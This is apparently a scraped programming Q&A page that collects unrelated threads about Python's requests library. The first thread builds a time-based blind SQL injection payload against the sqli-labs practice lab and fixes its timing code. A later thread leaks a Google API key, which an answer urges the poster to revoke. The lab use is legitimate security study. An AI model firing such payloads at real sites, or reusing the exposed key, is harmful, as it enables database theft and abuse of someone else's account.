I am trying to induce an artificial delay in the HTTP response from a web application (This is a technique used to do blind SQL Injections). If the below HTTP request is sent from a browser, response from the web server comes back after 3 seconds(caused by sleep(3)):
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+
I am trying to do the same in Python 2.7 using the requests library. The code I have is:
import requests
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip
I expected the roundtrip to be 3 seconds, but instead I get values 0.001371, 0.001616, 0.002228, etc. Am I not using the elapsed attribute properly?
elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transferred.
If you want to measure that time, you need to measure it yourself:
import requests
import time
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip
I figured out that my payload should have been
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}
The last character '+' in the original payload is getting passed to the back end database, which results in an invalid SQL syntax. I shouldn't have done any manual encoding in the payload.
Related
I'm writing a short Python program to request a JSON file using a Rest API call. The API limits me to a relatively small results set (50 or so) and I need to retrieve several thousand result sets. I've implemented a while loop to achieve this and it's working fairly well but I can't figure out the logic for 'continuing the while loop' until there are no more results to retrieve. Right now I've implemented a hard number value but would like to replace it with a conditional that stops the loop if no more results come back. The 'offset' field is the parameter that the API forces you to use to specify which set of results you want in your 50. My logic looks something like...
import requests
import json
from time import sleep
url = "https://someurl"
offsetValue = 0
PARAMS = {'limit':50, 'offset':offsetValue}
headers = {
"Accept": "application/json"
}
while offsetValue <= 1000:
response = requests.request(
"GET",
url,
headers=headers,
params = PARAMS
)
testfile = open("testfile.txt", "a")
testfile.write(json.dumps(json.loads(response.text), sort_keys=True, indent=4, separators=(",", ": ")))
testfile.close()
offsetValue = offsetValue + 1
sleep(1)
So I want to change the conditional the controls the while loop from a fixed number to a check to see if the result set for the getRequest is empty. Hopefully this makes sense.
Your loop can be while true. After each fetch, convert the payload to a dict. If the number of results is 0, then break.
Depending on how the API works, there may be other signals that there’s nothing more to fetch, e.g. some HTTP error, not necessarily the result count — you’ll have to discover the API’s logic for that.
i want to fetch data from cheat.sh using the requests lib and the discord.py lib....but since discord only allows 2000 characters at length to send at a time, i want to fetch only a certain number of words/digits/newline like 1800. how can i do so?
a small bit of code example showing my idea
import requests
url = "https://cheat.sh/python/string+annotations" #this gets the docs of string annotation in python
response = requests.get(url)
data = response.text # This gives approximately 2403 words...but i want to get only 1809 words
print(data)
import requests
url = "https://cheat.sh/python/string+annotations" #this gets the docs of string
annotation in python
response = requests.get(url)
data = response.text[:1800]
print(data)
This will be the correct code
I have the following question, I want to set up a routine to perform iterations inside a dataframe (pandas) to extract longitude and latitude data, after supplying the address using the 'geopy' library.
The routine I created was:
import time
from geopy.geocoders import GoogleV3
import os
arquivo = pd.ExcelFile('path')
df = arquivo.parse("Table1")
def set_proxy():
proxy_addr = 'http://{user}:{passwd}#{address}:{port}'.format(
user='usuario', passwd='senha',
address='IP', port=int('PORTA'))
os.environ['http_proxy'] = proxy_addr
os.environ['https_proxy'] = proxy_addr
def unset_proxy():
os.environ.pop('http_proxy')
os.environ.pop('https_proxy')
set_proxy()
geo_keys = ['AIzaSyBXkATWIrQyNX6T-VRa2gRmC9dJRoqzss0'] # API Google
geolocator = GoogleV3(api_key=geo_keys )
for index, row in df.iterrows():
location = geolocator.geocode(row['NO_LOGRADOURO'])
time.sleep(2)
lat=location.latitude
lon=location.longitude
timeout=10)
address = location.address
unset_proxy()
print(str(lat) + ', ' + str(lon))
The problem I'm having is that when I run the code the following error is thrown:
GeocoderQueryError: Your request was denied.
I tried the creation without passing the key to the google API, however, I get the following message.
KeyError: 'http_proxy'
and if I remove the unset_proxy () statement from within the for, the message I receive is:
GeocoderQuotaExceeded: The given key has gone over the requests limit in the 24 hour period or has submitted too many requests in too short a period of time.
But I only made 5 requests today, and I'm putting a 2-second sleep between requests. Should the period be longer?
Any idea?
api_key argument of the GoogleV3 class must be a string, not a list of strings (that's the cause of your first issue).
geopy doesn't guarantee the http_proxy/https_proxy env vars to be respected (especially the runtime modifications of the os.environ). The advised (by docs) usage of proxies is:
geolocator = GoogleV3(proxies={'http': proxy_addr, 'https': proxy_addr})
PS: Please don't ever post your API keys to the public. I suggest to revoke the key you've posted in the question and generate a new one, to prevent the possibility of it being abused by someone else.
I was trying to download a .csv file from this url for the history of a stock. Here's my code:
import requests
r = requests.get("https://query1.finance.yahoo.com/v7/finance/download/CHOLAFIN.BO?period1=1514562437&period2=1517240837&interval=1d&events=history&crumb=JaCfCutLNr7")
file = open(r"history_of_stock.csv", 'w')
file.write(r.text)
file.close()
But when I opened the file history_of_stock.csv, this was what I found: {
"finance": {
"error": {
"code": "Unauthorized",
"description": "Invalid cookie"
}
}
}
I couldn't find anything that could fix my problem. I found this thread in which someone has the same problem except that it is in C#: C# Download price data csv file from https instead of http
To complement the earlier answer and provide a concrete completed code, I wrote a script which accomplishes the task of getting historical stock prices in Yahoo Finance. Tried to write it as simply as possible. To give a summary: when you use requests to get a URL, in many instances you don't need to worry about crumbs or cookies. However, with Yahoo finance, you need to get the crumbs and the cookies. Once you get the cookies, then you are good to go! Make sure to set a timeout on the requests.get call.
import re
import requests
import sys
from pdb import set_trace as pb
symbol = sys.argv[-1]
start_date = '1442203200' # start date timestamp
end_date = '1531800000' # end date timestamp
crumble_link = 'https://finance.yahoo.com/quote/{0}/history?p={0}'
crumble_regex = r'CrumbStore":{"crumb":"(.*?)"}'
cookie_regex = r'set-cookie: (.*?);'
quote_link = 'https://query1.finance.yahoo.com/v7/finance/download/{}?period1={}&period2={}&interval=1d&events=history&crumb={}'
link = crumble_link.format(symbol)
session = requests.Session()
response = session.get(link)
# get crumbs
text = str(response.content)
match = re.search(crumble_regex, text)
crumbs = match.group(1)
# get cookie
cookie = session.cookies.get_dict()
url = "https://query1.finance.yahoo.com/v7/finance/download/%s?period1=%s&period2=%s&interval=1d&events=history&crumb=%s" % (symbol, start_date, end_date, crumbs)
r = requests.get(url,cookies=session.cookies.get_dict(),timeout=5, stream=True)
out = r.text
filename = '{}.csv'.format(symbol)
with open(filename,'w') as f:
f.write(out)
There was a service for exactly this but it was discontinued.
Now you can do what you intend but first you need to get a Cookie. On this post there is an example of how to do it.
Basically, first you need to make a useless request to get the Cookie and later, with this Cookie in place, you can query whatever else you actually need.
There's also a post about another service which might make your life easier.
There's also a Python module to work around this inconvenience and code to show how to do it without it.
I have written a python script using grequests to send http requests to server. The problem is that I need to get response time of each request. I have used hooks but still i can't find a single method to display exact response time. I used time.time() but I cant keep track of each request.
Below is the code.
def do_something(response, *args, **kwargs):
print('Response: ', response.text)
roundtrip = time.time() - start
print (roundtrip)
urls = ["http://192.168.40.122:35357/v2.0/tokens"]*100
while True:
payload = {some_payload}
start = time.time()
unsent_request = (grequests.post(u, hooks={'response': do_something}, json=payload) for u in urls)
print(unsent_request)
print(grequests.map(unsent_request, size=100))
grequests is just a wrapper around requests library. Just use the .elapsed attribute from the latest library, this way:
response_list = grequests.map(unsent_request, size=100)
for response in response_list:
print(response.elapsed and response.elapsed.total_seconds() or "failed")